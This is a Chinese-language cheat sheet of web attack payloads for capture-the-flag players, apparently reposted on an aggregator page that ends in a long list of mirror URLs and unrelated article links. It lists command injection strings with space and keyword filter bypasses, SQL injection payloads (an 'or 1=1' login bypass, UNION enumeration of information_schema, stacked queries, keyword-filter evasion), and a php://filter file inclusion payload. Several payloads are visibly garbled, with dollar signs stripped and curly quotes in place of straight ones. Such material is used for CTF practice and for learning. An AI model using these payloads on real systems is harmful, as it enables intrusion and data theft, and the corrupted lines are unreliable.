当前位置: 首页 > news >正文

CTF-Web手的百宝箱

@ZZHow(ZZHow1024)

零、通用提示

Flag可能藏在源码注释里!记得F12找找

一、Command Injection(命令注入)类:

0.看当前目录的文件,看根目录的文件,找flag

  • 127.0.0.1 ; ls
  • 127.0.0.1 ; ls…/…/…/

1.绕过空格

  • $IFS$9
    • 首选!
    • **注意注意:**在后面加个$可以起到截断的作用,使用$9是因为它是当前系统shell进程的第九个参数的持有者,它始终为空字符串。
  • $IFS
  • ${IFS}
  • <
  • <>
  • {cat,flag.php}
  • %20
  • %09

2.绕过关键词(如flag)

  • 利用环境变量拼接方法绕过。
    • /?ip=127.0.0.1;d=g;cat$IFS9fla9fla9flad.php
      • 首选!
      • **注意注意:这里之所以选择替换flag里的“g”**还是因为如果替换前边的字母,例如fl$dg,bash解释器会把整个dg当做变量名,所以导致输不出来结果。
      • 如果必须替换前边的字母也得用$9来截断:
      • /?ip=127.0.0.1;d=a;cat$IFS9fl9fl9fld$9g.php
  • 单引号和双引号绕过。
    • /?ip=127.0.0.1;cat$IFS$9’‘f’‘l’‘a’‘g’'.php
  • 反斜杠绕过。
    • /?ip=127.0.0.1;cat$IFS$9\f\l\a\g.php

3.查看文件内容命令:

  • 1**. cat命令**
    1. nl命令(比cat多了行数提示)
  • 3**. more命令**
  • 4**. less命令**
  • 5**. head命令**
  • 6**. tail命令**

4.补充

命令注入以及常见绕过方式_命令注入绕过-CSDN博客

二、SQL Injection(SQL注入)类:

0.上来一个‘看报错

1.万能密码

  • password’ or ‘1’='1

2.常规注入流程

  • 判断字段数
    • order by x#
  • 判断显示位
    • union select 1,2#
  • 查询数据库名
    • union select 1,database()#
  • 输出当前数据库下的表名
    • union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
  • 输出 指定表 下面的所有字段名
    • union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘指定表’#
  • 输出 指定表 中的 指定字段 数据
    • union select group_concat(指定字段),group_concat(指定字段) from 指定表#
      • 首选!会在一个回显位输出所有数据
    • union select 指定字段,指定字段 from 指定表#

3.“堆叠注入”

  • 注意:如果是纯数字的名,需要用反引号 包裹
  • 查看数据库名:
    • 1’;show databases;#
  • 查看表名:
    • 1’;show tables;#
  • 查看 指定表 的详细信息:
    • 1’;desc 指定表;#

4.特征判断

  • 输入非0数字得到的回显1,输入其余字符得不到回显
    • 推测内部的查询语句存在逻辑或:
      • select 输入的内容 || flag from Flag
    • 原理:
      • 非0数字 || 任意 = 1(真)
      • 0 || 任意 = 0(假)
    • Payload:
      • *,1
      • 1‘;set sql_mode=pipes_as_concat;select 1

5.关键词绕过

  • 情况一:检测关键词后直接整个不执行,预编译绕过
    • 例如:select * from 1919810931114514,select被检测
    • Payload:
      • 1’;PREPARE abc from concat(‘s’,‘elect’, ’ * from 1919810931114514 ');EXECUTE abc;#
  • 情况二:检测到关键词,把关键词给删除了,双写绕过
    • 例如union select 1,2,group_concat(passwoorrd) from b4bsql#,union、select和from直接被删除
    • Payload:
      • uunionnion sselectelect 1,2,group_concat(passwoorrd) ffromrom b4bsql#

三、File Inclusion(文件包含)类:

  • 看PHP源码,用php://filter伪协议,再base64解码
    • Payload:
      • • ?file=php://filter/read=convert.base64-encode/resource=flag.php

欢迎补充 : )


文章转载自:

http://UflRWOff.fsLrx.cn
http://DQyCdeHU.fsLrx.cn
http://fiuvjZmE.fsLrx.cn
http://Tr2jAsso.fsLrx.cn
http://etr0B8sx.fsLrx.cn
http://l27jM6HU.fsLrx.cn
http://8F7jqisq.fsLrx.cn
http://UkWAXHHC.fsLrx.cn
http://XJfGhaPv.fsLrx.cn
http://SbwcSIt3.fsLrx.cn
http://LWdvPGkq.fsLrx.cn
http://N4vwmcAM.fsLrx.cn
http://81i1HKQL.fsLrx.cn
http://Y5byvqkv.fsLrx.cn
http://jRcMtbal.fsLrx.cn
http://Xh23gs4Z.fsLrx.cn
http://vxqqN9m1.fsLrx.cn
http://Q1BXExtf.fsLrx.cn
http://izROJrQ7.fsLrx.cn
http://WERaFDEg.fsLrx.cn
http://tQ1gTyaF.fsLrx.cn
http://yGAQO3vh.fsLrx.cn
http://Zn4urgti.fsLrx.cn
http://gkxNO5SS.fsLrx.cn
http://8eDu83kP.fsLrx.cn
http://XSUSlC4m.fsLrx.cn
http://zx4m9h8Q.fsLrx.cn
http://08WE8SHb.fsLrx.cn
http://8dvAL3Su.fsLrx.cn
http://2DRpVyi0.fsLrx.cn
http://www.dtcms.com/a/375190.html

相关文章:

  • Django高效查询:values_list实战详解
  • Redis核心数据结构
  • 海外代理IP平台Top3评测:LoongProxy、神龙动态IP、IPIPGO哪家更适合你?
  • 开发避坑指南(43):idea2025.1.3版本启动springboot服务输入jvm参数解决办法
  • Vue3入门到实战,最新版vue3+TypeScript前端开发教程,笔记03
  • 四元数 (Quaternion)与李群SE(3)知识点(1)
  • 【Java】NIO 简单介绍
  • Qt从小白到进阶:完整学习路线与资源指南(补充)
  • 结合大数据知识体系对仓库建模方法总结
  • AI 辅助文档生成:从接口注释到自动化 API 文档上线
  • Day 18: 多模态大模型专项 - 理论深度与面试精通之路
  • Flink Checkpoint失败问题分析与解决方案
  • Flyway:一款免费开源的数据库变更管理工具
  • 如何开发一个教育性质的多线程密码猜测演示器
  • 基于MATLAB的线性判别分析(LDA)人脸识别实现
  • iOS现有项目采用混合工程方式集成RN0.77.3版本
  • 软件设置linux时区,Linux设置和修改时间与时区
  • 系统架构设计师备考第18天——信息安全基础知识
  • 嵌入式系统学习Day36(简单的网页制作)
  • 【人工智能99问】GPT4与QWen3的对比(39/99)
  • 计组中央处理器刷题
  • 熊大熊二与糖果2
  • 元宇宙与零售业变革:沉浸式体验重构消费全链路
  • 运筹学——对偶单纯形法,目标函数系数的敏感性分析
  • 考研复习-计算机网络-第四章-网络层
  • 《UE5_C++多人TPS完整教程》学习笔记49 ——《P50 应用瞄准偏移(Applying Aim Offset)》
  • 微信小程序罗盘功能开发指南
  • 【C++进阶】---- map和set的使用
  • [差分数组]2327. 知道秘密的人数
  • 微调Qwen2.5模型的完整指南